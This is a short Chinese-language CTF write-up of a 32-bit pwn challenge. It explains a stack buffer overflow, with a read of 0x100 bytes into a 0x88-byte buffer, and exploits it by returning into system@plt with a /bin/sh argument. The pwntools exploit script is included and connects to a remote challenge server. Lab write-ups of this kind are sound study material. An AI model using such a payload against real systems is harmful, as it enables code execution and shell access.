T5 level2
2023-01-15WP
攻防世界pwn题
考点:ret2libc1
(不是我不想往下做,而是往下做的话真的是要补太多知识了,新的知识还没学会,只好找一题来划一下水了……)
0x01
file,checksec —— 32-bit,开启NX
0x02
IDA一看没啥,点进vuln函数找到一个read函数
由图中我们可以看到,buf分配的空间为0x88,而read函数读取0x100,显然存在溢出
shift+f12找到有字符串/bin/sh,并且在vuln函数里有system函数,只不过参数是”ehco Input:”罢了
记下system函数的plt表地址0x08048320
这样就只需要我们覆盖buf,将system函数地址写为返回地址,并将/bin/sh作为参数传递其地址即可
0x03
exp
from pwn import *
p = remote(' 61.147.171.105 ', 60218)
payload = b'a' * (0x88 + 4) + p32(0x08048320)+b'bbbb' + p32(0x0804A024)
#0x88为buf大小,+4是ebp大小,p32(0x08048320)是打包system地址,b'bbbb'是填充无效system返回地址,
#p32(0x0804A024)是/bin/sh地址
p.sendline(payload)
p.interactive()